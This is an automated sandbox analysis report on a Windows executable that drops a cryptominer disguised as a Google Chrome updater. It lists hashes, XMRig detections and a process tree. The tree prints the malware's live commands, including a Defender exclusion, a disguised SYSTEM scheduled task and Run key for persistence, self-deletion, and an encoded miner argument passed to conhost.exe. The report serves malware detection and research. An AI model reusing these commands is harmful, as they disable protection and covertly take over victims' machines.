Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
397s -
max time network
1802s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
3JynzWc6LxNCT2y8.exeupdater.execonhost.exedescription pid process target process PID 3048 created 1272 3048 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 3048 created 1272 3048 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 3048 created 1272 3048 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 3048 created 1272 3048 3JynzWc6LxNCT2y8.exe Explorer.EXE PID 2912 created 1272 2912 updater.exe Explorer.EXE PID 2912 created 1272 2912 updater.exe Explorer.EXE PID 2912 created 1272 2912 updater.exe Explorer.EXE PID 2912 created 1272 2912 updater.exe Explorer.EXE PID 2192 created 1272 2192 conhost.exe Explorer.EXE PID 2912 created 1272 2912 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral1/memory/1704-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1704-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 1616 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2912 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1716 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1704-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1704-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2912 set thread context of 2192 2912 updater.exe conhost.exe PID 2912 set thread context of 1704 2912 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
3JynzWc6LxNCT2y8.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe 3JynzWc6LxNCT2y8.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2784 schtasks.exe 2716 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c06b9f1e2f51da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
3JynzWc6LxNCT2y8.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 3048 3JynzWc6LxNCT2y8.exe 3048 3JynzWc6LxNCT2y8.exe 2996 powershell.exe 3048 3JynzWc6LxNCT2y8.exe 3048 3JynzWc6LxNCT2y8.exe 3012 powershell.exe 3048 3JynzWc6LxNCT2y8.exe 3048 3JynzWc6LxNCT2y8.exe 3048 3JynzWc6LxNCT2y8.exe 3048 3JynzWc6LxNCT2y8.exe 2648 powershell.exe 2912 updater.exe 2912 updater.exe 1384 powershell.exe 2912 updater.exe 2912 updater.exe 580 powershell.exe 2912 updater.exe 2912 updater.exe 2912 updater.exe 2912 updater.exe 2192 conhost.exe 2192 conhost.exe 2912 updater.exe 2912 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2996 powershell.exe Token: SeDebugPrivilege 3012 powershell.exe Token: SeDebugPrivilege 2648 powershell.exe Token: SeDebugPrivilege 1384 powershell.exe Token: SeDebugPrivilege 580 powershell.exe Token: SeDebugPrivilege 2912 updater.exe Token: SeAssignPrimaryTokenPrivilege 2012 WMIC.exe Token: SeIncreaseQuotaPrivilege 2012 WMIC.exe Token: SeSecurityPrivilege 2012 WMIC.exe Token: SeTakeOwnershipPrivilege 2012 WMIC.exe Token: SeLoadDriverPrivilege 2012 WMIC.exe Token: SeSystemtimePrivilege 2012 WMIC.exe Token: SeBackupPrivilege 2012 WMIC.exe Token: SeRestorePrivilege 2012 WMIC.exe Token: SeShutdownPrivilege 2012 WMIC.exe Token: SeSystemEnvironmentPrivilege 2012 WMIC.exe Token: SeUndockPrivilege 2012 WMIC.exe Token: SeManageVolumePrivilege 2012 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2012 WMIC.exe Token: SeIncreaseQuotaPrivilege 2012 WMIC.exe Token: SeSecurityPrivilege 2012 WMIC.exe Token: SeTakeOwnershipPrivilege 2012 WMIC.exe Token: SeLoadDriverPrivilege 2012 WMIC.exe Token: SeSystemtimePrivilege 2012 WMIC.exe Token: SeBackupPrivilege 2012 WMIC.exe Token: SeRestorePrivilege 2012 WMIC.exe Token: SeShutdownPrivilege 2012 WMIC.exe Token: SeSystemEnvironmentPrivilege 2012 WMIC.exe Token: SeUndockPrivilege 2012 WMIC.exe Token: SeManageVolumePrivilege 2012 WMIC.exe Token: SeLockMemoryPrivilege 1704 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 3012 wrote to memory of 2784 3012 powershell.exe schtasks.exe PID 3012 wrote to memory of 2784 3012 powershell.exe schtasks.exe PID 3012 wrote to memory of 2784 3012 powershell.exe schtasks.exe PID 1616 wrote to memory of 2052 1616 cmd.exe choice.exe PID 1616 wrote to memory of 2052 1616 cmd.exe choice.exe PID 1616 wrote to memory of 2052 1616 cmd.exe choice.exe PID 2648 wrote to memory of 2520 2648 powershell.exe schtasks.exe PID 2648 wrote to memory of 2520 2648 powershell.exe schtasks.exe PID 2648 wrote to memory of 2520 2648 powershell.exe schtasks.exe PID 1716 wrote to memory of 2912 1716 taskeng.exe updater.exe PID 1716 wrote to memory of 2912 1716 taskeng.exe updater.exe PID 1716 wrote to memory of 2912 1716 taskeng.exe updater.exe PID 580 wrote to memory of 2716 580 powershell.exe schtasks.exe PID 580 wrote to memory of 2716 580 powershell.exe schtasks.exe PID 580 wrote to memory of 2716 580 powershell.exe schtasks.exe PID 2912 wrote to memory of 2192 2912 updater.exe conhost.exe PID 1060 wrote to memory of 2012 1060 cmd.exe WMIC.exe PID 1060 wrote to memory of 2012 1060 cmd.exe WMIC.exe PID 1060 wrote to memory of 2012 1060 cmd.exe WMIC.exe PID 2912 wrote to memory of 1704 2912 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {7BCAAB49-7973-4059-A80A-2252D933D311} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Chrome\updater.exeFilesize
150KB
MD57da3dd1a1d4033824778703a9b393925
SHA1126d81187b177a8f9dc4d8324db5152dbbb484a7
SHA256580b91c52eb601c23b6bf12f52926b526a121714d2da170775dfe71afc2e6693
SHA51202db180f65b99473d7f9e6f1f28e4377d8634913ab113bfb12468272f08e896ae3dc2e80c233aa6a831e50b51f73a4c8cd4526ac0d429982a75a98fab9a71cfd
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD58b1e2e07cb879699576c34e7d89a5ee2
SHA1b8367a9a024fcd24bfc02e3a23e25d32d95f4f89
SHA25613de8883d831e2a008e9d813e39eff66db36b63c9c8b4e0bc7eefcfa3757c9d4
SHA512cfd370c4e4c1fc5f9aad170c5a538a6a585e00bbf8dfb40fa84de820b2ec91de095161822e941df996c670653991258c7d7652226939405bc0689bb4f414ee5e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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memory/580-53-0x0000000001170000-0x00000000011F0000-memory.dmpFilesize
512KB
-
memory/580-55-0x0000000001170000-0x00000000011F0000-memory.dmpFilesize
512KB
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memory/580-54-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmpFilesize
9.6MB
-
memory/580-56-0x0000000001170000-0x00000000011F0000-memory.dmpFilesize
512KB
-
